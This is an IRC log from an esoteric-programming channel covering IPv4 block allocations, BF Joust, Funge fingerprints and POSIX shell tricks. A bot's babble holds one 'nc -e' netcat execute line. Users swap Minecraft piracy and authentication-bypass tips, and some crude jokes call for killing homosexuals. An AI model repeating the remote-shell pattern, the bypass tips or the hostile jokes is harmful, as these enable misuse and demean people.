17:18:25 <Gregor> Ilari: Wow, HP has 3 /8s O_O
17:18:31 <Gregor> Ilari: How many does IBM have?
17:18:40 <pikhq> Gregor: By "enormous" you mean "2 weeks worth", right?
17:18:40 <Deewiant> I didn't realize that dd reads stdin, I thought it only took if/of and those would be annoying to stdin/outify portably
17:18:50 <pikhq> (presuming IBM has "only" a /8)
17:19:36 <Gregor> As far as I can tell from the list, both IBM and HP only have one ...
17:20:13 <Gregor> AT&T has two ...
17:20:27 <Ilari> HP owns DEC.
17:20:37 <pikhq> AT&T is undoubtedly *using* those /8s.
17:20:47 <Gregor> Ilari: Aha
17:20:48 <Ilari> And IIRC, also owns some third /8 holder.
17:21:17 <pikhq> I mean, last I checked they were both an end-user ISP and tier one.
17:22:13 <Ilari> The non-RIRs that own /8s are (as marked): General Electric Company, Level 3 Communications, Inc, Army Information Systems Center, IBM, DoD Intel Information Systems, AT&T Bell Laboratories, Xerox Corporation, Hewlett-Packard Company, Digital Equipment Corporation, Apple Computer Inc.
17:22:53 <pikhq> Oh, AT&T doesn't actually own a /8, then?
17:23:03 <pikhq> (Bell Labs got spun off in '96)
17:23:29 <Gregor> 032/8AT&T Global Network Services
17:23:42 <pikhq> Okay, that'd be AT&T.
17:23:53 <Ilari> MIT, Ford Motor Company, Computer Sciences Corporation, DDN-RVN, Defense Information Systems Agency, UK Ministry of Defence, DSI-North, AT&T Global Network Services, DLA Systems Automation Center, Halliburton Company, MERIT Computer Network, PSINet, Inc., Eli Lily & Company
17:24:48 <Gregor> 047/8Bell-Northern Research is this connected to Bell Labs?
17:25:05 <Ilari> Amateur Radio Digital Communications, Bell-Northern Research, Prudential Securities Inc., UK Government Department for Work and Pensions, E.I. duPont de Nemours and Co., Inc., Cap Debis CCS, Merck and Co., Inc., DoD Network Information Center, US Postal Service, SITA.
17:25:32 <pikhq> Gregor: Bell Canada & Northern Telecom.
17:26:18 <pikhq> Gregor: So, last related to AT&T in 1956.
17:26:31 <Gregor> "UK Government Department for Work and Pensions" <-- does this REALLY need a /8?
17:26:36 -!- iconmaster has quit (Read error: Connection reset by peer).
17:26:37 <Ilari> Hmm. Amateur radio probably hasn't corresponding allocation on IPv6 side. At least not as IANA-level allocation.
17:27:58 <pikhq> Oh, yeah, AMPRNet has 44.0.0.0/8.
17:28:37 <pikhq> Apparently allocated *in the 70s*.
17:29:01 -!- iconmaster has joined.
17:30:26 <Gregor> AfriNIC has six /8s. American corporations have 16.
17:33:13 <Gregor> !bfjoust rerun_the_hill <3
17:33:54 <EgoBot> Score for Gregor_rerun_the_hill: 0.0
17:34:25 <pikhq> Gregor: Well, much of Africa is only now starting to not be a hellhole.
17:34:52 <Gregor> s/now/in the Very Near Future/
17:35:38 <pikhq> Gregor: By "now starting" I mean "holy shit they've got economic progress, starvation is going down, education is going up, and endemic diseases are going away."
17:36:12 <pikhq> We're really only at the start of it, but hey. Just getting progress going there is a big deal.
17:36:17 <iconmaster> !bfjoust carl (>)*9+[[[-]>+]](<)*9+]
17:36:20 <EgoBot> Score for iconmaster_carl: 0.0
17:36:32 <Gregor> Your []s. They do not match.
17:36:43 <iconmaster> Wha? No they dont. Oops
17:37:15 <iconmaster> !bfjoust carl (>)*9+[[[-]>+](<)*9+]
17:37:19 <EgoBot> Score for iconmaster_carl: 9.1
17:38:42 <Gregor> Impressive.
17:39:06 <iconmaster> I'm going to run carl thru IconJoust for fun now.
17:39:24 <Gregor> iconmaster: Run FFSPG!
17:40:29 <iconmaster> Really big programs lagdeath IconJoust, sadly.
17:40:48 <iconmaster> IconJoust is kinda useless that way.
17:41:08 <Gregor> It's sounding better and better every time you mention it.
17:41:27 <iconmaster> I KNOW! Isnt IconJoust just AWFUL?!?!?!
17:41:31 <iconmaster> lol.
17:43:08 <Ilari> IPv6 unicast block #0 (200x::) has apparently 926 720 /32s as IANA-unallocated.
17:43:15 -!- augur has joined.
17:44:19 <iconmaster> I cant wait until I can show it to you in all it's apparent AFULNESS!
17:44:50 <Gregor> Hey, you're the one doing a bad job of hyping it up :P
17:45:29 <iconmaster> Lol, i'm kinda proud of it, but im not showing it...
17:45:46 <iconmaster> Lets just say i'm being.... Humble. Ya, that's it...
17:47:07 <Ilari> Only blocks #0, #64, #96, #97, #98, #128, #160 and #192 have anything (WTF is up with those blocks #97 and #98)
18:13:20 <Gregor> quintopia: We got an illustration of Philip the Careless Turtle, so are you going to draw Furry Furry Strap-on Pegging Girls?
18:32:43 -!- Sgeo has joined.
18:34:27 -!- sebbu has quit (Read error: Connection reset by peer).
18:34:58 -!- sebbu has joined.
18:59:40 <yorick> anyone know about some *ahem* free minecraft for linux?
19:10:50 <Phantom_Hoover> yorick, why were you K-lined?
19:12:49 -!- SimonRC has quit (Ping timeout: 240 seconds).
19:14:03 -!- SimonRC has joined.
19:17:19 <yorick> Phantom_Hoover: vhost broken
19:17:26 <Phantom_Hoover> Also, we have a channel, #esoteric-minecraft, to keep MC discussion from drowning out everything else.
19:18:06 <yorick> :D
19:19:00 * Sgeo takes a bucket of water and places a spring on Phantom_Hoover
19:26:29 <Phantom_Hoover> Oh god.
19:26:35 <Phantom_Hoover> I should have expected it, but...
19:26:58 <Phantom_Hoover> There is an article on the Star Wars wiki (which *still* hasn't moved from Wikia) about lightsaber fencing.
19:27:09 <Phantom_Hoover> It is several pages long.
19:33:57 <yorick> Phantom_Hoover: why are you on the starwars wiki?
19:34:15 <Phantom_Hoover> I'm not, it was just linked by the TV Tropes article on Flynning.
19:35:28 <yorick> why are you on tv tropes?
19:37:09 <Phantom_Hoover> Why do people smoke?
19:48:59 -!- Sgeo has quit (Ping timeout: 240 seconds).
19:49:33 -!- pingveno has quit (Ping timeout: 240 seconds).
19:50:08 <fizzie> Phantom_Hoover: What do you mean "an article"? There's 79 articles of different aspects of lightsabers, about 60 of which are about the forms, styles and techniques of combat.
19:50:32 <Phantom_Hoover> fizzie, AAAAAAAAAAAAAAAAAAa
19:50:40 <fizzie> All of them are rather extensive.
19:50:46 * Phantom_Hoover sobs
19:50:55 <fizzie> Just as a representative example, see http://starwars.wikia.com/wiki/Form_VII:_Juyo_/_Vaapad or something.
19:51:12 <Phantom_Hoover> fizzie, STOP
19:51:16 <Phantom_Hoover> PLEASE
19:51:28 <fizzie> There is a "Lightsabers" portal-link-template-thing at the bottom for further perusal.
19:51:50 -!- pingveno has joined.
19:51:59 <fizzie> If you want to know about the activation stud, blade emitter, emitter matrix, focusing lens, hilt, inert power insulator or the pommel cap of a lightsaber; all those are separate articles.
19:52:46 <Phantom_Hoover> It'd be respectable were it not for the fact that it's complete crap.
19:52:48 <fizzie> (Okay, so some are a teeny bit stub-like, like the pommel cap article.)
19:53:16 <Phantom_Hoover> I have no problem with world building if it's done *well*, but that kind of stuff is just putting the handwaving a level lower
19:53:50 <Gregor> quintopia: Can you describe bfjml a bit?
19:54:07 <fizzie> Phantom_Hoover: Did you know: the heavy hilts of lightsabers were sometimes used as a non-fatal alternative to actually impaling someone with the glowy bit. The more you know!
19:54:35 <Phantom_Hoover> That would have been the best resolution to EVERY STAR WARS DUEL EVER
19:54:53 <Phantom_Hoover> <ssshhhmit> <bonk>
19:55:21 <Phantom_Hoover> "ssshhhmit" is the onomatopoeia for a lightsaber being turned off.
19:56:07 <fizzie> Named after Edward Shmit, the (dyslexic) first Jedi to learn how to actually turn a saber off.
19:56:37 <Phantom_Hoover> Before that they just ran around very carefully indeedd.
19:56:40 <Phantom_Hoover> *indeed
20:06:12 -!- Sgeo has joined.
20:11:49 -!- elliott has joined.
20:12:01 <Gregor> fizzie: Oh btw, wtf who writes a threaded code interpreter for BF Joust. Honestly.
20:12:28 <elliott> 20:48:37 <Gregor> zzo38: The fact that I'm a longer-lasting member of #esoteric than everyone but fizzie, and yet I don't have ops (and e.g. oerjan does :P )
20:12:32 <elliott> and lifthrasiir
20:12:34 <elliott> and uh
20:12:35 <elliott> nooga
20:12:38 <elliott> and ...
20:12:50 <elliott> 20:53:54 <dbc> :)
20:12:52 <elliott> and dbc.
20:13:07 <Gregor> lifthrasiir never talks, and is nooga (note: not present) longer lasting? And dbc never talks except to point out that he exists, then disappear again for a year.
20:13:23 <elliott> Gregor: nooga is longer-lasting and unarguably a talker.
20:13:38 <elliott> We found this out the last time you went on your old trip.
20:13:42 <Sgeo> So, dbc exists more than .. Zuu?
20:13:55 <Gregor> Oh darn, and nooga doesn't have ops.
20:14:00 <Sgeo> Why am I picking on Zuu?
20:14:06 <Gregor> Now I have no title to claim :(
20:14:08 <Gregor> Sgeo: The alphabet.
20:14:14 <Zuu> :(
20:14:15 <elliott> 21:27:12 <coppro> pikhq: and also obssessed with some stupid ideas
20:14:15 <elliott> 21:27:20 <coppro> like his irrational hatred for numbers that weren't fractions
20:14:19 <elliott> afaik that's unproven myth
20:14:28 <elliott> (but HAR HAR HAR.)
20:14:43 <elliott> 21:34:25 <Vorpal> <elliott> Prelude> length . words $ "[list of nicks in channel]" <-- you know, my irc client has a count already it displays in the status bar: "50 (0 ops)"
20:14:49 <elliott> i never pass up a chance to use haskell
20:14:52 * Sgeo still isn't certain that Pythagoras had anything to do with it, but the oke's still there
20:15:32 <elliott> Lymia: isn't finnish similar to japanese?
20:15:36 <elliott> re: 22:10:47 <Lymia> Are there any other languages with grammar like Japanese that arn't on the island of Japan?
20:16:06 <Gregor> Isn't Japanese its own language family ...
20:17:08 <Gregor> (Like, oh, Finnish :P )
20:17:22 <elliott> Gregor: Yeah, but IIRC it's similar to Finnish.
20:17:25 <elliott> Not necessarily related.
20:17:37 <Gregor> wtfbbq
20:17:40 <Gregor> *brain explodes*
20:17:43 <elliott> Gregor: ?
20:17:52 <elliott> Languages can be similar without being literally related to each other ...
20:17:54 <Deewiant> I really can't think of how Finnish would be similar to Japanese
20:17:55 <Gregor> Two isolates by coincidence have similar grammar?
20:18:04 <elliott> Deewiant: I think this info is via augur.
20:18:20 <elliott> Don't blame me yo :P
20:18:28 <elliott> Gregor: I think it's just the very basics that are similar :P
20:18:57 <elliott> Like both are ... whatever the equivalent of a concatenative language for natural languages is.
20:19:34 <Deewiant> Agglutinative
20:20:02 <elliott> Deewiant: So you Finns all code in Forth, right?
20:20:07 <elliott> Except without the spaces, it's all just implicit.
20:20:16 <elliott> :sayhelloworldhelloworldmessageprint;
20:20:19 <Deewiant> Not that I know of
20:20:20 <Phantom_Hoover> Presumably you use SOV or OSV.
20:20:29 <elliott> Or VVSOVVVVVVO
20:20:35 <elliott> The word order of maniacs.
20:20:54 <elliott> Eats eats Sam oranges eats eats eats eats eats eats oranges.
20:21:08 <Phantom_Hoover> elliott, assuming here that verb == function.
20:21:42 <elliott> I kinda wish I spoke an agglutinative language so that concatenative languages would seem more natural to me.
20:21:49 <elliott> They're so elegant :(
20:22:11 <elliott> 22:17:25 <Sgeo> Six little eggs on the run
20:22:11 <elliott> 22:17:39 <Sgeo> They fuck each other three goes boom dubi dum
20:22:11 <elliott> ...
20:22:22 <elliott> moving on
20:22:24 <Phantom_Hoover> Words fail me.
20:22:32 <elliott> QUICKLY moving on
20:22:33 <Sgeo> I did not come up with that
20:22:34 <Phantom_Hoover> "AAAUAUAUAUAUAUAUAUGHGHGHGHGHG" begins to convey it.
20:23:41 <Sgeo> Seriously, Google it
20:25:25 <elliott> 22:49:47 <zzo38> Bible Quiz: http://zzo38computer.cjb.net/textfile/miscellaneous/bible.quiz Can you answer these questions without refering to the Bible or to anything else?
20:25:40 <elliott> well this was... uh... unexpected in a totally expected way because it's zzo
20:25:50 <elliott> 25. Should homosexuals be killed or exiled?
20:25:51 <elliott> both!
20:25:53 <elliott> starting with augur
20:26:16 <elliott> 22:52:12 <Sgeo> zzo38, did you copy/paste that from Skeptic's Annotated Bible?
20:26:16 <elliott> 22:52:31 <zzo38> No, but I did copy it from a related document.
20:26:16 <elliott> 22:52:46 <zzo38> However, I cleaned it a bit to fit on plain text and deleted the parts which are not necessary.
20:26:23 * elliott wonders what qualifies as "not necessary"
20:27:04 <elliott> 22:56:26 <fizzie> Gregor: If you're advocating that { should associate with the first "free" (, then sorry, the spec doesn't say so. :p
20:27:05 <elliott> /facepalm
20:28:21 <fizzie> Someone (else than me) should probably write a definitive spec into the wiki at some point.
20:28:30 <Gregor> Also test suite
20:29:10 <Deewiant> Heraldry: the BF Joust test suite
20:29:22 <elliott> Anyway, lance has been done for days but I suppose that doesn't really matter now.
20:29:28 <augur> elliott: o hai
20:29:33 <elliott> augur: halo
20:29:35 * augur sits on elliott
20:29:52 <Gregor> elliott: Why didn't you tell anybody :P
20:30:24 <elliott> Gregor: I did, I said it was done apart from one minor parsing bug but that I was waiting for either BF Joust activity to start up again or for you to integrate the fixed-point scoring mechanism into report.c so that you could make any changes to the codebase you needed to before integrating it.
20:30:38 <elliott> I don't think you were here at the time, though.
20:31:04 <Gregor> elliott: Upon logreading (which I don't usually do), I see that in a message to ais.
20:31:11 <Gregor> Yes, I was sure pinged to indicate its completion :P
20:31:22 <elliott> Gregor: I was under the impression that you did not logread, so I hardly see the point.
20:31:33 <elliott> (Not everybody who logreads checks pings.)
20:31:39 <elliott> Anyway, I was going to tell you when you were next on.
20:31:50 <Gregor> I check pings!
20:31:53 <Gregor> I check pings and PMs.
20:32:03 <elliott> I'm not psychic :p
20:32:12 <Sgeo> Why does lance not matter now?
20:32:16 <Gregor> And email, postal mail, FedEx, telephone, ...
20:32:27 <fizzie> Carrier pigeons.
20:32:51 <Sgeo> Email transmitted across IP over Carrier Pigeon
20:33:09 <Sgeo> Well, that just counts as regular email I gess
20:33:17 <Sgeo> I gess. Yes, I gess.
20:33:24 <Sgeo> Wow, I had a tough time typing gess
20:33:28 <elliott> 02:13:22 <oerjan> probably not, exponential growth of the garbage seems likely
20:33:28 <elliott> 02:13:50 <oerjan> this is going to need an interpreter with actual structure sharing
20:33:34 <elliott> Like, cough, ul2c.
20:33:34 <Sgeo> Makes me wonder how I managed to typeo
20:35:45 <elliott> 07:51:01 <quintopia> or that you should get a blog?
20:35:45 <elliott> 07:57:48 <Sgeo> Who'd be interested in the blog?
20:35:45 <elliott> 08:07:49 <quintopia> at least as many people as are interested in your random postings to this channel, i'm sure
20:35:47 <elliott> i would say oh snap
20:35:49 <elliott> but that TOTALLY APPLIES TO ME TOO
20:36:04 <elliott> 08:15:32 <quintopia> must be nice having your real name as your nick on here...
20:36:06 <elliott> quintopia: totally.
20:36:19 <elliott> I'm the only Elliott on freenode!
20:36:21 <elliott> (note: lies)
20:36:28 <elliott> 08:29:29 * Phantom_Hoover is smug that he will never have a meaningful name clash in his life.
20:36:35 <elliott> Phantom_Hoover: Okay Adhamhamamhanhanjhnkaknahamhamnhamnmahmahnmhnamhnmahahhmmhmhhh.
20:38:11 <elliott> 09:01:38 <iconmaster> It's being virus scanned right now, IconJoust will be found at http://www.yoyogames.com/games/164956-iconjoust
20:38:11 <elliott> 09:02:03 <iconmaster> Its written in GML btw
20:38:19 <elliott> Now all 0 Windows users won't be left out, thanks iconmaster :P
20:38:31 <Gregor> BEST ARCADE GAME IDEAS: You're a bear in a zoo. An overhanging observatory, breaks and a dozen children fall into your habitat. Your goal is to eat as many children as possible before being subdued. Bonus points for eating zookeepers.
20:38:41 <elliott> 09:12:44 <Deewiant> What's a POSIX command for reading the first N characters from stdin to stdout
20:38:50 <elliott> Deewiant: dd?
20:38:56 <Deewiant> Quite. fizzie answered it.
20:39:00 <Gregor> He already got a dd-based solution.
20:39:06 <elliott> WELL SORRY FOR BEING AS SMART AS FIZZIE
20:39:34 <fizzie> Deewiant: I still think you posed that as a crossword puzzle clue. "POSIX command for reading the first N characters, 2 letters, starts with 'd'."
20:39:39 <elliott> 09:26:31 <Gregor> "UK Government Department for Work and Pensions" <-- does this REALLY need a /8?
20:39:40 <elliott> YES.
20:40:27 <elliott> fizzie: Cryptic version would be more like "In ways known to cause lossage, suitable to cut twice 8 bits."
20:40:40 <elliott> (I mean, dd can destroy data!)
20:40:52 <elliott> (Clearly that's how it was named.)
20:40:56 <Gregor> elliott: Y'know this is how you get right-wing nuts. You give the Department for Work and Pensions a /8, somebody thinks "Hmmm, maybe the government is too big," then BAM.
20:41:07 <elliott> Gregor: X-D
20:41:33 <elliott> fizzie: I WANT CRYPTIC PROGRAMMING CROSSWORDS NOW.
20:42:08 <elliott> 4 across: My other car ith a... (3)
20:42:13 <elliott> ^^ I WIN
20:42:40 <elliott> DUDES
20:42:42 <elliott> THAT IS SO FUNNY
20:42:55 <fizzie> Deewiant: Also from POSIX rationale for "head", by the way: "There is no -c option (as there is in tail) because it is not historical practice and because other utilities in this volume of POSIX.1-2008 provide similar functionality." ... except that it's talking about a different -c, never mind.
20:43:12 <elliott> 10:59:40 <yorick> anyone know about some *ahem* free minecraft for linux?
20:43:20 <elliott> yorick: It's available via S3, but you'll still need an account.
20:43:27 <elliott> Nonetheless Notch approves of your endeavour.
20:43:31 <fizzie> No, wait, "tail -c" is the bytes option, it was just explained really confusingly.
20:43:36 * Gregor wonders what S3 is.
20:43:47 <yorick> elliott: I already found one
20:43:49 <Sgeo> Amazon
20:43:53 <fizzie> Gregor: Simple Storage Service.
20:43:59 <elliott> yorick: Enjoy your lack of updates.
20:44:13 <yorick> elliott: it's actually a downloader
20:44:20 <yorick> it gets updates
20:44:23 <elliott> Gregor: The Amazon service from which Minecraft is served, supposedly authenticated but it gives you the files if you just, uh, neglect to provide.
20:44:34 <Gregor> elliott: Sweet :P
20:44:45 -!- augur has quit (Remote host closed the connection).
20:45:17 <elliott> Gregor: But its draconian DRM makes that a bit useless unless you have a cooperating friend who bought the game :P
20:45:22 <elliott> But still, lets you get updates.
20:46:52 <fizzie> Deewiant: Anyway, another POSIX-portable way: split -b N + keep just the first part.
20:47:33 <Deewiant> That doesn't go to stdout except via a temporary, does it
20:47:48 <fizzie> Oh, right, there was that. No, it doesn't.
20:48:38 -!- augur has joined.
20:50:21 <Vorpal> <elliott> i never pass up a chance to use haskell <-- fair enough
20:53:46 <Vorpal> <elliott> Gregor: But its draconian DRM makes that a bit useless unless you have a cooperating friend who bought the game :P <-- uh? It isn't really draconian at all :P
20:54:10 <elliott> Vorpal: You can't play the game for the first time unless you log in to a single centralised server.
20:54:25 <elliott> You can't play the game on any (non-heavily-modified) server without the centralised server being up and authenticating you.
20:54:28 <Vorpal> elliott, oh really? the launcher should be easy to hack though
20:54:30 <elliott> That's Assassin's Creed 2 DRM.
20:54:37 -!- oerjan has joined.
20:54:38 <elliott> Vorpal: Easy to hack != not draconian.
20:54:39 <Vorpal> elliott, also there is the offline mode
20:54:46 <elliott> Vorpal: That only works after you log in once.
20:54:52 <Sgeo> Vorpal, offline doesn't work unless you log in
20:54:53 <Vorpal> elliott, I meant server side
20:54:59 <elliott> Vorpal: That only lets one person log in.
20:55:03 <elliott> (They're all called "Player".)
20:55:08 <Vorpal> elliott, there are name changers that work around that
20:55:14 <elliott> That's heavily-modified.
20:55:17 <Vorpal> true
20:55:32 <Vorpal> anyway, it is still a rather cheap game
20:55:34 <Vorpal> compared to most
20:55:42 <elliott> That doesn't stop the DRM being draconian.
20:56:02 <elliott> If Activision or whoever did this they'd be lynched.
20:56:10 <Vorpal> activision?
20:56:17 <elliott> what
20:56:24 <Vorpal> elliott, it isn't draconian compared to windows product activation btw :P
20:56:28 <elliott> I mean, I'm pretty sure it's very similar DRM to Assassin's Creed 2.
20:56:32 <elliott> Vorpal: please tell me you know what activision is
20:56:40 <Vorpal> elliott, not offhand no
20:56:45 <elliott> :|
20:56:49 <Vorpal> some game company I think
20:57:24 <fizzie> Deewiant: Welll... od has a "take only first N bytes" option, but unfortunately POSIX doesn't seem to standardize the reverse operation, and I don't think you can get od to print character without escaping nonprintables.
20:57:33 <Vorpal> elliott, and no hardware dongle
20:57:37 <Vorpal> sure the DRM is annoying
20:57:42 <Vorpal> but there is far worse
20:57:50 <elliott> There are no games with hardware dongles.
20:57:55 <elliott> Not yet at least.
20:58:51 <Vorpal> elliott, what about those SNES game cartridges? In a sense they were. You couldn't get any game cartridge, and program, unlikely that the co-processor would match
20:58:57 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
20:58:58 <Vorpal> sure, stretching the definition a bit
20:59:00 <elliott> Err...
20:59:06 <elliott> Yeah that's completely stretching the definition.
20:59:40 <Vorpal> elliott, but I'm sure you *are* aware of that consoles used cartridges to make it harder to copy. As one of the main reasons.
20:59:51 <fizzie> Deewiant: But maybe od -N <bytes> -t x1 -A n | sed -e '<list of 256 s/// expressions converting all the hex values back to bytes>', how's that sound to you?
21:00:23 <Deewiant> A bit too convoluted, perhaps.
21:00:33 <elliott> fizzie: sed -e 's/\(.\{bytes\}\).*/\1/ q'
21:00:35 <elliott> Or something.
21:01:15 <iconmaster> IconJoust has been 'Being virus scanned' all day! It usually takes about an hour. wtf?
21:01:34 <Gregor> iconmaster: It's got a lot of viruses.
21:01:34 -!- elliott has quit (Read error: Connection reset by peer).
21:01:36 <fizzie> I think the sed solution breaks for newlines, unless there's some option.
21:01:40 <iconmaster> It's probably the Lua script....
21:01:51 -!- elliott has joined.
21:01:55 <elliott> <iconmaster> IconJoust has been 'Being virus scanned' all day! It usually takes about an hour. wtf?
21:01:57 <elliott> LOL WINDOWS; that is all.
21:02:08 <iconmaster> Lol.
21:03:15 <Vorpal> windows' security model is rather terrible
21:03:19 <olsner> LOL WINDOWS; end of tape
21:03:38 <elliott> ^sourec
21:03:41 <Vorpal> while the *nix one is also terrible it is at least *simple*. Result is that it is easier to reason about it.
21:03:42 <elliott> ^source
21:03:42 <fungot> http://git.zem.fi/fungot/blob/HEAD:/fungot.b98
21:04:02 <elliott> FING, STRN, SOCK, SCK, FILE...
21:04:08 <elliott> REXP (optional it seems?)...
21:04:12 <elliott> And I think SUBR too.
21:04:15 <elliott> Any other dependencies?
21:04:16 <elliott> *SCKE,
21:04:20 -!- poiuy_qwert has joined.
21:04:20 <iconmaster> I think it probably is the server's problem, not mine.
21:04:22 <olsner> I don't know how simple unix really is
21:04:34 <olsner> they've added lots of stuff since to '70s
21:04:37 <Vorpal> elliott, " v 0*aa0)S+*aa20**aaa*aa" " up at the top
21:04:38 <olsner> since the
21:04:45 <Vorpal> elliott, that looks like it loads a fingerprint
21:04:52 <elliott> fizzie! :|
21:04:53 <Vorpal> err unloads
21:05:04 <Vorpal> hard to tell what
21:05:06 <elliott> Perhaps it's in that thing thing.
21:05:08 <elliott> In the loader script.
21:05:37 <Vorpal> elliott, nope, not in http://git.zem.fi/fungot/blob/HEAD:/fungot-load-freenode.b98
21:05:38 <fungot> Vorpal: which languages would he not have religious objections to java being used on the original object. this is quite funny :) nc -e fnord irc.freenode.net 6667 not fnord had some knowledge of threads... but, ok, maybe not
21:06:22 <Vorpal> elliott, it uses TOYS too
21:06:29 <elliott> Right.
21:06:30 <elliott> $ time ~/Code/shiro/shiro mycology.b98 >/dev/null 2>&1
21:06:30 <elliott> real0m0.969s
21:06:31 <elliott> Not bad.
21:06:38 <Vorpal> 78 "reload" >51g!#^_ "SYOT"4#^( ^
21:07:01 <fizzie> SCKE isn't actually used right now. And the ) you were wondering in fact unloads that TOYS.
21:07:10 <fizzie> It still fails if SCKE isn't supported. :p
21:07:41 <elliott> fizzie: But it works without REXP?
21:07:46 <elliott> You say "try" to load. :
21:07:58 <fizzie> Yes, I think it should work without.
21:08:08 <Vorpal> elliott, what do you have against REXP?
21:08:11 <fizzie> Also only the ^code command uses SUBR, so if you never use that, it's optional too.
21:08:14 <elliott> fizzie: Is that FING dependency really necessary? :P
21:08:24 <Deewiant> elliott: Yes
21:08:26 <Vorpal> elliott, yes it needs to remap to get stuff to work iirc
21:08:30 <Vorpal> due to overlapping
21:08:36 <elliott> BLUH BLUH
21:08:38 <Deewiant> FING is never "necessary" as such but it's immensely convenient
21:08:40 <Vorpal> elliott, anyway FING is trivial to implement
21:08:41 <oerjan> 12:33:28 <elliott> 02:13:22 <oerjan> probably not, exponential growth of the garbage seems likely
21:08:44 <oerjan> 12:33:28 <elliott> 02:13:50 <oerjan> this is going to need an interpreter with actual structure sharing
21:08:47 <oerjan> 12:33:34 <elliott> Like, cough, ul2c.
21:08:48 <Vorpal> elliott, *utterly* trivial
21:09:00 <elliott> Vorpal: Yes, but it's still extra work.
21:09:05 <elliott> I haven't touched shiro in N time intervals.
21:09:11 <Vorpal> elliott, so is SOCK. It could use netcat :P
21:09:13 <oerjan> actually the one in EgoBot worked fine, that's derlo i think
21:09:38 <elliott> oerjan: derlo does that smart stuff, yes.
21:09:42 <Vorpal> elliott, no?
21:09:47 <oerjan> unfortunately as i've bickered many times, EgoBot is useless for demonstrating programs with slow or infinite output
21:09:53 <elliott> Vorpal: Maybe.
21:10:07 <oerjan> and this example had both
21:10:20 <Vorpal> elliott, anyway did you plan to implement all the fingerprints?
21:10:23 <elliott> oerjan: So you're saying that an efficient, convenient Underload bot would be popular with you? >:)
21:10:28 <elliott> Vorpal: Not all, that's impossible.
21:10:30 <elliott> But a good number.
21:10:32 <elliott> More than cfunge.
21:10:41 <Vorpal> elliott, cfunge never aimed to do them all
21:10:42 <oerjan> elliott: heh right
21:10:55 <elliott> oerjan: what's so heh, I was thinking that that might be botte's first calling ;D
21:10:56 <Vorpal> elliott, anyway *ccbi* does most sane (and quite a few insane) ones.
21:11:04 <Vorpal> elliott, I doubt it is impossible to do all
21:11:11 <Vorpal> elliott, rcfunge does the majority
21:11:24 <elliott> WIND for instance is incredibly unlikely. unless i can do it portably.
21:11:36 <Sgeo> How can I rail on Java's lack of lambdas when Python lambas are unadultured shit?
21:11:39 <Vorpal> elliott, but not impossible :P
21:11:50 <Vorpal> elliott, anyway you could use GTK or QT. Or even Tk
21:11:57 <elliott> Or just SDL...
21:11:59 <elliott> For WIND.
21:12:02 <Vorpal> elliott, or that
21:12:02 <elliott> Which I think has no windowing facilities.
21:12:04 <elliott> It's just GDI isn't it?
21:12:12 <elliott> But SDL is, uh, a consistent look, feel and behaviour on every platform!!
21:12:13 <elliott> SHIRO POWER
21:12:22 <Vorpal> elliott, SDL has just GDI iirc indeed. Well input too
21:12:27 <Vorpal> and networking iirc?
21:12:29 <elliott> I mean, WIND is just GDI.
21:12:30 <elliott> Consistent look: "ugly" (with my skills, anyway).
21:12:35 <elliott> Consistent feel: "uncomfortable".
21:12:41 <elliott> Consistent behaviour: "unintuitive".
21:12:45 <elliott> Behold the power of ElliottSDLGUI!
21:12:47 <Vorpal> elliott, XD
21:12:58 <Vorpal> elliott, or you could just use Tk :P
21:13:01 <oerjan> elliott: (1) efficiency (2) taking code from the web (3) giving whatever output there was even if it times out. EgoBot does (1) and (2), fungot does (3).
21:13:02 <fungot> oerjan: i used a lot, but played so bad and missed so many easy goals that we felt he was a completely clueless fnord moron who has no idea
21:13:06 <elliott> Maybe I'll use wine's API functions.
21:13:11 <elliott> It has a library, doesn't it? Winelib.
21:13:13 <elliott> :D
21:13:20 <Vorpal> elliott, why do you need windows style!?
21:13:26 <elliott> I think WIND is just a Win32 binding.
21:13:27 <elliott> I dunno.
21:13:28 <elliott> Deewiant?
21:13:30 <oerjan> although for _most_ things i do, (1) isn't really an issue
21:13:41 <elliott> oerjan: all of those are pretty easy
21:13:45 <fizzie> Deewiant: If you know a character, let's say Q, isn't in your input, then ... | awk 'BEGIN { RS="Q" } { print substr($0, 1, <bytes>); }' | ... *almost* does what you want, but it also produces an extra newline.
21:13:45 <Deewiant> elliott: I don't do WIND.
21:13:55 <elliott> who's is FING again?
21:13:59 <elliott> Deewiant: Just thought you might know :P
21:14:04 <elliott> Oh, FING is RC.
21:14:05 <Vorpal> elliott, I define the fingerprint CDE.
21:14:07 <Deewiant> fizzie: So close, yet so far!
21:14:09 <Vorpal> will you do it?
21:14:22 <Vorpal> elliott, FING is RC but with feedback from me and Deewiant
21:14:31 <elliott> Deewiant: | sh -c 'echo -n `cat`' |
21:14:34 <Deewiant> FING was basically "yo, FNGR is messed up"
21:14:35 <elliott> *""
21:14:35 <Vorpal> elliott, FING is what FNGR should have been
21:14:49 <elliott> With quotes around `cat` too.
21:14:50 <elliott> Escaped quotes.
21:15:03 <elliott> fizzie: Is RS="" not portablee?
21:15:38 <elliott> Hmm, FING _shouldn't_ need any internal state...
21:15:43 <Deewiant> elliott: Y'wot?
21:15:51 <elliott> Deewiant: To make fizzie's thing not output a new newline.
21:16:01 <elliott> | sh -c 'echo -n "`cat`"' | will I think strip newlines.
21:16:10 <elliott> Of course -n might not be POSIX. :p
21:16:11 <Deewiant> % echo foobar | sh -c 'echo -n `cat`'
21:16:11 <Deewiant> -n foobar
21:16:13 <Deewiant> WOOPS
21:16:17 <Deewiant> elliott: Try again!
21:16:22 <elliott> Deewiant: WHY ARE YOU EVEN USING SUCH A SHITTY OPERATING SYSTEM
21:16:26 <elliott> Deewiant: printf "%s" "`cat`"
21:16:31 <Vorpal> Deewiant, ... % ?
21:16:36 <elliott> And yes, printf is POSIX.
21:16:36 <Vorpal> Deewiant, what is that prompt
21:16:39 <elliott> Vorpal: csh/tcsh/zsh.
21:16:45 <Vorpal> I hope it is zsh
21:16:45 <Vorpal> ...
21:16:48 <elliott> Perhaps even ksh I think.
21:16:55 <Deewiant> It's zsh
21:17:00 <Vorpal> *phew*
21:17:01 <elliott> Vorpal: You realise that "csh considered harmful" is only about scripting usage?
21:17:02 <olsner> surely you can tell bash to use % as the prompt
21:17:07 <elliott> olsner: Indeed.
21:17:15 <Vorpal> $ echo foobar | sh -c 'echo -n `cat`'
21:17:15 <Vorpal> foobar
21:17:18 <elliott> Vorpal: tcsh for interactive use is not exactly objectionable.
21:17:22 <Vorpal> Deewiant, I get a different result than you
21:17:26 <elliott> Vorpal: Your system is POSIX-incompliant.
21:17:27 <Vorpal> elliott, same for scripting
